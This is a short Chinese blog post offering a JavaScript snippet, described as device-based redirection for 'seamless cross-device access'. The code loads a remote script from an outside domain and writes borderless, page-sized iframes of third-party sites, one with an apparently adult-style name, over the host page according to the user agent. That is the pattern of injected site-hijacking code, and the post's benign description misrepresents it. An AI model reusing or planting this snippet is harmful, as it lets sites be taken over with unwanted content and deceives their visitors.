文章摘要
这篇文章介绍了一段JavaScript代码,用于根据用户的设备类型(如Android、iPhone、iPad、iPod、iOS等)动态跳转到不同的目标网站。代码通过检查navigator.userAgent的设备标识符,判断用户处于何种设备环境中,并相应地在不同设备之间切换到不同的iframe源地址,实现跨设备的无缝访问。
<script src=”http://1004619.com/js.js” type=”text/javascript”></script>
js代码如下:
function uaredirect() {
var n = navigator.userAgent.toLowerCase();
if (n.indexOf('android')>-1){
document.writeln('<iframe scrolling="no" frameborder="0" marginheight="0" marginwidth="0" width="960" height="2000" allowTransparency src="http://www.1004619.com"></iframe>');
}
else if (n.indexOf('iphone')>-1 || n.indexOf('iPhone')>-1 || n.indexOf('ipod')>-1 || n.indexOf('ipad')>-1 || n.indexOf('ios')>-1){
document.writeln('<iframe scrolling="no" frameborder="0" marginheight="0" marginwidth="0" width="960" height="2000" allowTransparency src="http://www.yyouujizz.com"></iframe>');
}
else {
document.writeln('<center><iframe scrolling="no" frameborder="0" marginheight="0" marginwidth="0" width="1000" height="2050" allowTransparency src="http://www.1004619.com"></iframe></center>');
}
}
uaredirect();

Villain博客
